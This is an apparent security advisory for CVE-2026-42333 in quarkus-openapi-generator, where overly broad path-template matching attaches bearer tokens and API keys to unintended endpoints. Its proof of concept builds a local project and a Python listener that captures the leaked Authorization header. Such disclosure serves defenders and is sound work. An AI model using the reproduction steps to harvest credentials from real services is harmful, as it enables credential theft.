quarkus-openapi-generator CVE-2026-42333
MEDIUMCVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionNVD
Summary
The generated authentication filter matches OpenAPI path templates too broadly when deciding whether to attach credentials. A security scheme configured for one operation can therefore be applied to a different same-method operation whose path only partially resembles the protected template, causing bearer tokens, API keys, or basic credentials to be sent to unintended endpoints.
Details
The runtime authentication layer selects credentials by comparing the outgoing request path and method against the set of protected OpenAPI operations. Path-template matching treats {param} placeholders as .*, which incorrectly allows a single path parameter to consume /.
As a result, a protected path such as /repos/{ref} also matches /repos/foo/bar, even though /repos/{owner}/{repo} is a different operation. When a client invokes the unprotected operation, the authentication filter still concludes that the protected operation matched and attaches its credentials.
This affects authentication providers that rely on the shared path-matching logic, including bearer, OAuth, API-key, and basic authentication. The issue is reachable through normal generated-client usage and does not require modifying generated code.
PoC
mkdir -p /tmp/qoag-poc/src/main/java/org/acme
mkdir -p /tmp/qoag-poc/src/main/resources
mkdir -p /tmp/qoag-poc/src/main/openapi
cat > /tmp/qoag-poc/pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.acme</groupId>
<artifactId>qoag-poc</artifactId>
<version>1.0.0</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.release>17</maven.compiler.release>
<quarkus.platform.group-id>io.quarkus</quarkus.platform.group-id>
<quarkus.platform.artifact-id>quarkus-bom</quarkus.platform.artifact-id>
<quarkus.platform.version>3.34.3</quarkus.platform.version>
<qoag.version>2.16.0</qoag.version>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>${quarkus.platform.group-id}</groupId>
<artifactId>${quarkus.platform.artifact-id}</artifactId>
<version>${quarkus.platform.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>io.quarkiverse.openapi.generator</groupId>
<artifactId>quarkus-openapi-generator</artifactId>
<version>${qoag.version}</version>
</dependency>
<dependency>
<groupId>io.quarkus</groupId>
<artifactId>quarkus-rest</artifactId>
</dependency>
<dependency>
<groupId>io.quarkus</groupId>
<artifactId>quarkus-rest-client-jackson</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>io.quarkus</groupId>
<artifactId>quarkus-maven-plugin</artifactId>
<version>${quarkus.platform.version}</version>
<extensions>true</extensions>
<executions>
<execution>
<goals>
<goal>build</goal>
<goal>generate-code</goal>
<goal>generate-code-tests</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.14.0</version>
<configuration>
<parameters>true</parameters>
</configuration>
</plugin>
</plugins>
</build>
</project>
EOF
cat > /tmp/qoag-poc/src/main/openapi/repro.yaml <<'EOF'
openapi: 3.0.3
info:
title: repro
version: 1.0.0
paths:
/repos/{ref}:
get:
operationId: getRef
parameters:
- in: path
name: ref
required: true
schema:
type: string
security:
- bearerAuth: []
responses:
"200":
description: ok
content:
text/plain:
schema:
type: string
/repos/{owner}/{repo}:
get:
operationId: getOwnerRepo
parameters:
- in: path
name: owner
required: true
schema:
type: string
- in: path
name: repo
required: true
schema:
type: string
responses:
"200":
description: ok
content:
text/plain:
schema:
type: string
components:
securitySchemes:
bearerAuth:
type: http
scheme: bearer
EOF
cat > /tmp/qoag-poc/src/main/resources/application.properties <<'EOF'
quarkus.http.port=8081
quarkus.openapi-generator.codegen.default-security-scheme=bearerAuth
quarkus.openapi-generator.codegen.spec.repro_yaml.base-package=org.acme.repro
quarkus.rest-client.repro_yaml.url=http://127.0.0.1:18080
quarkus.openapi-generator.repro_yaml.auth.bearerAuth.bearer-token=SECRET
EOF
cat > /tmp/qoag-poc/src/main/java/org/acme/TriggerResource.java <<'EOF'
package org.acme;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.core.MediaType;
import org.eclipse.microprofile.rest.client.inject.RestClient;
@Path("/trigger")
public class TriggerResource {
@RestClient
org.acme.repro.api.DefaultApi api;
@GET
@Produces(MediaType.TEXT_PLAIN)
public String trigger() {
api.getOwnerRepo("foo", "bar");
return "done";
}
}
EOF
python - <<'PY' &
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("PATH=" + self.path, flush=True)
print("AUTH=" + str(self.headers.get("Authorization")), flush=True)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, fmt, *args):
pass
HTTPServer(("127.0.0.1", 18080), H).serve_forever()
PY
cd /tmp/qoag-poc
mvn -q package -DskipTests
java -jar target/quarkus-app/quarkus-run.jar &
sleep 8
curl -s http://127.0.0.1:8081/trigger
# PATH=/repos/foo/bar
# AUTH=Bearer SECRETImpact
Clients generated from an OpenAPI specification can send authentication credentials to endpoints that were not intended to receive them. In practice, this can disclose bearer tokens, API keys, or basic credentials to lower-trust routes on the same service, cause public operations to be invoked with privileged credentials, and blur the intended security boundary between protected and unprotected operations.
AnalysisAI
{param} as .* patterns, allowing a single parameter to consume forward slashes and match multiple distinct operations. This causes bearer tokens, OAuth tokens, API keys, and basic credentials configured for one protected operation to be leaked to different, unprotected operations on the same service when a client invokes them through normal generated-code paths. …
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GHSA-fr8f-rwjx-f32v